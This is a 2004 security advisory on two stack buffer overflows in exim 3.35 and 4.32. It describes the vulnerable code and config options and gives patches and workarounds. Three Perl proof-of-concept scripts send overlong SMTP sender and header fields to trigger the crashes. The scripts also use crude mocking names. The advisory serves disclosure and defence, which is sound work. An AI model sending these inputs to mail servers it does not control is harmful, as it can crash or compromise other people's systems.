Georgi Guninski security advisory #68, 2004

Buffer overflows in exim, yet still exim  much  better  than  windows

Systems affected:
two bugs in exim 3.35
one of them present in exim 4.32

Risk:  Medium - not in default install
Date: 6 May 2004

Legal Notice:
This Advisory is Copyright (c) 2004 Georgi Guninski.
You may distribute it unmodified.
You  may  not  modify    it   and   distribute    it   or   distribute   parts
of it without the author's written permission - this especially  applies  to
so called "vulnerabilities databases"  and  securityfocus,  microsoft,    cert
and mitre.
If   you   want    to     link     to    this    content      use     the    URL:
http://www.guninski.com/exim1.html
Anything in this document may change without notice.

Disclaimer:
The  information  in  this  advisory  is  believed   to   be   true   though
it may be false.
The opinions  expressed  in  this  advisory  and  program  are    my  own  and
not   of   any     company.    The   usual   standard   disclaimer    applies,
especially the fact that Georgi Guninski  is  not  liable  for    any  damages
caused by direct  or  indirect    use  of  the  information  or  functionality
provided  by  this  advisory  or  program.    Georgi   Guninski   bears   no
responsibility for  content  or  misuse  of  this  advisory  or  program  or
any derivatives thereof.

Description:

There are two stack based overflows in exim 3.35. One them (bug1) is easily
exploitable. Ease of exploitation of the other one (bug2) is not clear, but i
won't be surprised if it is exploitable. Too lazy to check for sure.
(bug2) is also present in exim 4.32.
Both bugs are not in default exim configuration and need enabling options.

Details:

bug1:
in exim 3.35 in verify.c there are two occurences of:
---
sprintf(buffer, "%s:%.200s", sender_address,
---
where buffer is on the stack.
This is classic stack overflow.
This bug works if works if "sender_verify = true" is in exim.conf
To test for vulnerability:
./exi1.pl | nc localhost 25
then press enter.

bug2:
in accept.c for exim 3.35 and in verify.c for exim 4.32 there is:
---
char hname[64];
char *t = h->text;
char *tt = hname;
char *verb = "is";
int len;

while (*t != ':') *tt++ = *t++;
*tt = 0;
---
this code is hit if "headers_check_syntax" is in exim.conf for 3.35 and
"require verify          = header_syntax" is in the .conf for 4.32
the difficulty of exploiting this is that "t" can have limited content,
but can have arbitrary length.

To test for vulnerability for 3.35:
./exi2.pl | nc localhost 25
then press enter.

To test for vulnerability for 4.32:
./exi3.pl localhost 25

Fix:

Unofficial fix from me, but debian seems to agree with it.

for exim 3.35
for bug1:
in verify.c
find the following:
sprintf(buffer, "%s:%.200s", sender_address,
  (sender_host_name != NULL)? sender_host_name :
  (sender_host_address != NULL)? sender_host_address : "");
and
sprintf(buffer, "%s:%.200s", sender_address,
  (sender_host_name != NULL)? sender_host_name :
  (sender_host_address != NULL)? sender_host_address : "");

in both above cases replace "sprintf(buffer," with:
"snprintf(buffer, sizeof(buffer),"

for bug2:
in accept.c find:
while (*t != ':') *tt++ = *t++;
and replace it with:
while (*t != ':' && tt < &hname[sizeof(hname)-2]) *tt++ = *t++;

for exim 4.32
for bug2:
in verify.c find
while (*t != ':') *tt++ = *t++;
and replace it with:
while (*t != ':' && tt < &hname[sizeof(hname)-2]) *tt++ = *t++;

Note: you need to change some addresses in the perls below.

----exi1.pl----------------------------------
#!/usr/bin/perl
# works if sender_verify = true is in exim.conf
# written by georgi guninski
# cannot be used in vulnerability databases or CVE
print "HELO a\r\n";
my $ch=getc();
print "MAIL FROM: " . "v" x 300 ."\@vt" . "\r\n";
print "RCPT TO: BillGay\@localhost\r\n";
print "DATA\r\n";
#print "From" . " " x 65 . ":" . "ff fff ff" ."\r\n";
print "asdasd\r\n";
print "\r\n";
print ".\r\n";
print "QUIT\r\n";
---------------------------------------------

----exi2.pl----------------------------------
#!/usr/bin/perl
# works if headers_check_syntax is in exim.conf
# written by georgi guninski
# cannot be used in vulnerability databases

print "HELO a\r\nMAIL FROM: BillGay\@localhost\r\nRCPT TO: SteveNoBall\@localhost\r\n";
print "DATA\r\n";
my $ch=getc();
print "From" . " " x 275 . ":" ."vv v \r\n";
print "asdasd\r\n";
print "\r\n";
print ".\r\n";
print "QUIT\r\n";
---------------------------------------------


----exi3.pl----------------------------------
#!/usr/bin/perl

use IO::Socket;

my $port = $ARGV[1];
my $host = $ARGV[0];

# written by georgi guninski
# cannot be used in vulnerability databases
print "Written by georgi guninski\nCannot be used in vulnerability databases or CVE\n";

my $repl;
my $socket = IO::Socket::INET->new(PeerAddr => $host,PeerPort => $port,Proto => "TCP") || die "socket";

$repl= <$socket>;
print "server replied ${repl}";
my $req  = "HELO a\r\n";

syswrite($socket,$req,length($req));
$repl= <$socket>;
print "server replied ${repl}";


my $fromaddr="BillGay\@soft";
my $touser="SteveNoBall\@soft";

$req = "MAIL FROM: ${fromaddr}\r\n";

syswrite($socket,$req,length($req));
$repl= <$socket>;
print "server replied ${repl}";

$req = "RCPT TO: ${touser}\r\n";
syswrite($socket,$req,length($req));
$repl= <$socket>;
print "server replied ${repl}";
$req = "DATA\r\n";

syswrite($socket,$req,length($req));
$repl= <$socket>;
print "server replied ${repl}";

print "Attached with debugger to exim and press enter\n";
my $ccc=getc();

$req = "From" . " " x 200 . ":" ." root\r\n";

$req .= "just to let you know that you sux\r\n";
$req .= ".\r\n";

syswrite($socket,$req,length($req));
$repl= <$socket>;
print "server replied ${repl}";



while(<$socket>)
{
print $_;
}


close $socket;


---------------------------------------------


Workaround:
for exim 3.35
make sure you don't have the following options in exim.conf:
---
sender_verify = true
headers_check_syntax
---
for exim 4.32
make sure you don't have the following option in the config file:
require verify          = header_syntax

Vendor status:
exim.org and debian are aware of the bugs

Georgi Guninski
http://www.guninski.com